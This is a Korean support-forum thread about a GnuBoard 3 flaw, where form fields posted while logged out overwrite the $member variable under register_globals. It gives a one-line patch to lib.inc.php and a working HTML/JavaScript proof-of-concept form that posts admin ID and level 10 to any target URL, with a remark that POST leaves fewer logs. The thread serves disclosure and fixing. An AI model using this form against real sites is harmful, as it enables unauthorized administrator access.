아무생각없이 쓰다가 갑자기 보안결점발견 ㅜㅜ > 그누3질답

그누3질답

아무생각없이 쓰다가 갑자기 보안결점발견 ㅜㅜ 정보

그누보드 아무생각없이 쓰다가 갑자기 보안결점발견 ㅜㅜ

본문

제사이트를 작업하다가 불현듯 발견한 버그입니다.
세션을 사용하여 사용자를 알아내는데 현재 게시판에서 사용자의 아이디는 알아내기가 쉽더군요
하여간 아이디와 레벨을 폼을 이용해서 넘겨주니까 관리자로도 접속할수가 있군요.
제홈페이지도 관리자영역에 로그인 안하고도 뚫렸습니다... 제가 제사이트를 해킹(? 버그! or 장난) 한거죠^^
해결방법은 현재 배포되고 있는 lib.inc.php 에서

/*************내려가다가 여기부분**********/
// 로그인중이라면
if ($_SESSION[ss_mb_id]) {
    $member = get_member($_SESSION[ss_mb_id]);

    // 읽지않은 쪽지가 있다면
    $sql = " select count(*) from $cfg[table_memo]
              where me_recv_mb_id = '$member[mb_id]'
                and me_read_datetime = '0000-00-00 00:00:00' ";
    $row = sql_fetch_array($sql);
    $memo_not_read = $row[0];
} else $member='';//<--여기  else $member=''; 요녀석만 추가 시켜 주면 될것 같군요,,,

더좋은 의견있으시면 답글 남겨 주세요.

댓글 전체

<script language="JavaScript">
<!--
function hack(f)
{
if( f.act.value ==''){
alert('전송주소입력혀~');
return false;
}
f.action=f.act.value;
send=confirm(f.action+'\n에 관리자로 접속하시겠습니까?');
if(!send)return false;
else return true;
}

//-->
</script>
<form name=frm onsubmit='return hack(this);' target=imain method=post>
<input type="hidden" name="member[mb_id]" value='kagla' >
<input type="hidden" name="member[mb_level]" value='10' >
<input type="hidden" name="member[mb_name]" value='관리자' >
<input type="hidden" name="member[mb_email]" value='*** 개인정보보호를 위한 이메일주소 노출방지 ***'>
<input type=text name=act size=50 value=''>
<input type=submit value='난관리자'>
</form>
<iframe width=1000 height=900 name=imain></iframe>
대충 이런식으로 정보가 더 필요하면 <input> 값으로 더 써줍니다.
뭐 대단한 것은 아니라 잠시 신경을 못써서 버그가 생긴것 같습니다.

하여간 그누보드 매우 잘쓰고 있어서 다시한번 감사드립니다.
같은 도메인이나  아니면 다른 도메인이나 상관이 없습니다 .
수정하셨다면 이제는 권한을 획득이 불가능하겠지요...

전에는 이런식으로 되었습니다.
로그인을 하지 않았을때는 세션이 없는 상태이므로 lib.inc.php에서 $member값은 할당이 되지 않습니다.
그리고 매번 아이디에 대한 패쓰워드를 체크하지는 않기때문에 이 $member 값에 여기의 관리자 아이디를 form 값으로 넘겨 줍니다. post방식으로 하면 로그에는 더 안남겠지요?
그런데 게시판에서는 권한을 체크하므로 폼값으로는 아이디 레벨 메일 값등 모든값들을 넘겨서 $member의 값으로 넘기는것이 가능합니다.
이미 globals=off 로 설정이 되었다면 안되겠지만 그렇지않다면 이렇게 할당하여서 권한이 없는 게시판도 접근가능하므로 위에서 메번 폼값으로 넘어오는것을 방지하기위해 초기화 시켜주는 것입니다. 위에서 회원세션이 없으면 $member값을 ''으로 바꿔지겠죠? 참고로 제가 테스트한 폼을 올려 놓겠습니다.....
폼을 이용하여 관리자 권한을 획득하신게 같은 도메인이었나요? 아니면 다른 도메인이었나요?
같은 도메인이라면 제가 생각하기에는 그렇게 심각하지는 않은것 같습니다.
제 메일로 자세히 알려주시면 감사하겠습니다. kagla at sir.co.kr
전체 21
그누3질답 내용 검색

회원로그인

(주)에스아이알소프트 / 대표:홍석명 / (06211) 서울특별시 강남구 역삼동 707-34 한신인터밸리24 서관 1402호 / E-Mail: admin@sir.kr
사업자등록번호: 217-81-36347 / 통신판매업신고번호:2014-서울강남-02098호 / 개인정보보호책임자:김민섭(minsup@sir.kr)
© SIRSOFT